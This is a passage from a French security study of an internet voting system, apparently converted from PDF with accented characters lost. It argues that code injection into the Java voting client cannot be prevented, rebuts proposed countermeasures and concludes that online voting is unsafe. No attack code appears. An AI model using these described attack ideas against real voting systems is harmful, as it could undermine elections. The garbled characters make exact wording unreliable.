Ce type d'attaque est impossible  prvenir,  moins de garantir la abilit a e a e complte de l'ordinateur de l'lecteur. Malgr tout, on peut essayer de rpondre e e e e par avance aux solutions que l'on serait tent de prsenter pour corriger ces e e failles.

L'attaque est facile car le code n'est pas obfusqu. L'obfuscation, on le rpte, e e e rend plus dicile l'analyse du code, mais pas impossible. D'ailleurs avec un dboggeur analysant en temps rel l'excution du programme, et en se basant e e e sur le fait que le choix du vote doit  un moment ou un autre ^tre envoy a e e au serveur central, il est facile d'analyser ledit code. De plus, l'obfuscation ne fonctionne que sur le code, pas sur les donnes. e En utilisant une application native, on supprime les capacits d'injection e de code a chaud. Non, cette capacit est facilite par l'utilisation de Java,  e e mais avec un langage machine on peut galement injecter du code, d'ailleurs de e nombreux virus informatiques fonctionnent de cette manire. e
18

Le code client pourrait vri er son intgrit par une somme de contr^le. e e e o Le problme de cette approche est que l'on suppose que le programme qui se e contr^le lui-m^me soit intgre, ce qui n'est pas le cas : s'il est possible de le o e e modi er, il est aussi possible de modi er le code qui contr^le l'intgrit. o e e Les JVM ne devraient pas autoriser l'injection de code. C'est une fonctionnalit hlas ncessaire pour les dveloppeurs. E ectivement cette opration e e e e e pourrait ^tre plus contr^le, mais c'est du ressort des socits qui implmentent e oe ee e ces machines virtuelles. De plus, rien n'interdit au programme d'injection de remplacer la machine virtuelle en elle-m^me. Le code de la JVM standard de e Sun est en partie en Open-source, donc aisment recompilable dans une version e pirate autorisant cette injection.  Pourquoi ne pas crypter le rsultat du vote directement sur le client ? A e un moment donn le choix e ectu doit ^tre dcrypt, au moins lors de la saisie e e e e e par l'lecteur. D'autre part, le code de cryptage/dcryptage est inclus dans e e le code client, qui est sensible  l'analyse de code. Un moyen serait de faire a e ectuer l'tape de cryptage par l'lecteur lui-m^me, en utilisant une cl unique e e e e par lecteur, envoy par courrier ; ou de se baser sur un priphrique de vote e e e e externe comme un appareil cryptographique  brancher sur un port USB. a  Comment alors garantir l'intgrit de la cha^ne de con ance ? A part ma^triser e e   l'ensemble du matriel et du logiciel, il n'y a pas de moyen simple. M^me e e en imaginant la situation extr^me o l'administration vous enverrait sous pli e u scell une cl USB auto-amorable, contenant un systme complet, valid et e e c e e chi r, sous lequel vous amorceriez votre ordinateur ; il n'est pas possible de e garantir l'intgrit du BIOS (le code machine de l'ordinateur en lui-m^me) qui e e e excute le systme d'exploitation scuris. En e et, ce BIOS lui-m^me peut ^tre e e e e e e modi  par un programme malicieux. Seul un systme secure-boot, avec une e e somme de contr^le du BIOS valide manuellement par l'utilisateur permettrait o e cette garantie ; mais avec une complexit telle que les faibles avantages du vote e lectronique deviendraient alors caducs. e

5 Conclusion
Que peut-on dduire de cette exprience ? e e { L'intgrit de l'ordinateur du votant ne peut ^tre garantie ; e e e { L'administration publique d'tat impose un systme de vote qu'elle prsente e e e comme scuris, mais qui ne l'est pas ; e e { L'attaque prsente est tellement simple qu'une organisation politique aux e e intentions discutables peut facilement dcider du rsultat d'un scrutin. e e

19

Compte-tenu de cette analyse et du fait qu'une lection se joue parfois  quelques e a pourcents, j'arrive  la conclusion que le vote par internet ne garanti pas  l'heure a a actuelle les besoins d'un systme de vote dmocratique contrairement  un vote e e a classique dans l'isoloir. Je laisse  d'autres le soin de faire l'analyse qu'ils voudront de cette tude. a e Peut-^tre serait-il souhaitable que la dcision d'implmenter ces systmes soit e e e e soumise  un vritable dbat citoyen, a n que les outils de la dmocratie ne a e e e deviennent pas des jouets aux mains de quelques spcialistes et socits privs. e ee e

20

Sign up to vote on this title
UsefulNot useful